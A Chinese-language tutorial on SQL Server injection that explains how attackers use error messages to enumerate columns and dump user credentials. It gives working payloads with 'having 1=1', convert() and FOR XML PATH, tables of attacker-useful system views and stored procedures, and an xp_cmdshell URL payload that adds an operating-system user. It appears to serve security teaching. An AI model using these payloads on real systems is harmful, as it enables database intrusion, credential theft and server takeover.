攻击者对于数据库注入,无非是想利用数据库获取更多的数据或者更大的权限,那么利用方式可以归纳为以下几种:
Sql server数据库是一个非常优秀的数据库,它可以准确地定位错误消息,对开发人员来说来说,这是一件十分美好的事情,对攻击者来说也是一件十分美好的事情,因为攻击者可以通过错误消息提取数据。
(1)枚举当前表及列
查询root用户的详细信息,SQL语句如下:
select * from users where username='root'
利用SQL server特性来获取敏感信息,例如:
' having 1=1 --
最终执行SQL语句:
select * from users where username='root' and password='root' having 1=1 --
那么sql执行器将会抛出一个错误(因为版本的问题,显示的错误信息也不尽相同)
消息 8120,级别 16,状态1,第2行
选择列表中的列“users.id”无效,因为该列灭有包含在聚合函数或Group by子句中。
由此可以发现当前表名为users,并且存在“id”列名,攻击者可以利用此特性继续得到其他列名,输入如下SQL语句:
select * from users where username="root" and password='root' group by users.id having 1=1 --
执行器提示错误信息:
消息 8120,级别16,状态1,第一行
选择列表中的列'users.username'无效,因为该列没有包含在聚合函数或group by字句中。
可以看到执行器又抛出了“username”列名,由此可以依次递归查询,直到没有错误消息返回为止,这样就可以利用having字句“查询”出单前表中的所有列名。
(2)利用数据类型错误提前数据
如果试图将一个字符串与非字符串比较,或者将一个字符串装换为另外一个不兼容的类型时,那么SQL编辑器将会抛出错误异常,例如:
select * from users where username='root' and password='root' and 1>(select top 1 username from users)
执行器错误提示:
消息245,级别16,状态1,第二行
在将varchar值“root”转换成数据类型int时失败。
可以发现root账户已经被SQL server给“出卖”了,利用此方法可以递归推导出所有的账户信息:
select * from users where username ='root' and password='root' and 1>(select top 1 username from users where username not in ('root'))
如果不嵌入子查询,也可以使数据库报错,这就用到了Sql server的内置函数CONVERT或者CASE函数,这两个函数的作用是:将一种数据类型装换为另外一种数据类型。输入入校SQL语句:
select * from users where username ='root' and password='root' and 1=convert(int,(select top 1 users.username from users ))
如果感觉递归比较麻烦,可以通过使用For XML PATH语句将查询的数据生成XML,SQL语句如下:
select * from users where username ='root' and password='root' and 1=convert(int,(select stuff((select ','+users.username,'|'+users.password from users for xml path('')),1,1,'')))
执行器抛出异常:
消息245,级别16,状态1 ,第一行
在将nvarchar值“root|root,admin|admin,xxser|xxser”转换成数据类型int时失败。
数据库试图 | 说明 |
sys.database | SQL server中的所有数据库 |
sys.sql_logins | SQL server中的所有登录名 |
information_schema.tables | 当前用户数据库中的表 |
information_schema.columns | 当前用户数据库中的列 |
sys.all_collumns | 用户定义对象和系统对象的所有列的联合 |
sys.database_principals | 数据库中每个权限或列异常权限 |
sys.database_files | 存储在数据库中的数据库文件 |
sysobjects | 数据库中创建的每个对象(例如约束、日志以及存储过程) |
函数 | 说明 |
stuff | 字符串截取函数 |
ascii | 取ASCII码 |
char | 根据ASCII码取字符 |
getdate | 返回日期 |
count | 放回组中的总条数 |
cast | 将一种数据类型的表达式显示转换为另外一种数据类型的表达式 |
rand | 返回随机值 |
is_srvrolemember | 指示SQL server登录名是否为指定服务器角色成员 |
过程 | 说明 |
sp_addlogin | 创建新的SQL server登录,该登录运行用户使用SQL server身份验证连接到SQL server实例 |
sp_dropuser | 从当前数据库中删除数据库用户 |
xp_enumgroups | 提供Microsoft Windows本地组列表或在指定的Windows域中定义的全局组列表 |
xp_regwrite | 未被公布的存储过程,,写入注册表 |
xp_regread | 读取注册表 |
xp_regdeletevalue | 删除注册表 |
xp_dirtree | 读取目录 |
sp_password | 更改密码 |
xp_servicecontrol | 停止或激活某服务 |
存储过程在大型数据库系统中为了完成特定功能的一组SQL"函数"。如,执行系统命令、查看注册表、读取磁盘目录等。
攻击者最常用的存储过程就是“xp_cmdshell”,这个存储过程允许用户执行操作系统命令,例如:http://xxx.xxx.xx.xx/test.asp?id=1存在注入点,那么攻击者就可以实施命令攻击:
http://xxx.xxx.xx.xx/test.asp?id=1;exec xp_cmdshell 'net user test test/add'
攻击者可以直接利用xp_cmdshell操纵服务器。
但是,并不是任何数据库用户都可以使用此类存储过程,用户必须持有Control server 权限。
(1)判断是否存在注入
'
and 1=1
and 1=2
(2)猜解字段数
order by 字段数
(3)获得精确定位
(4)查询数据库名、表名、字段名、列名、列值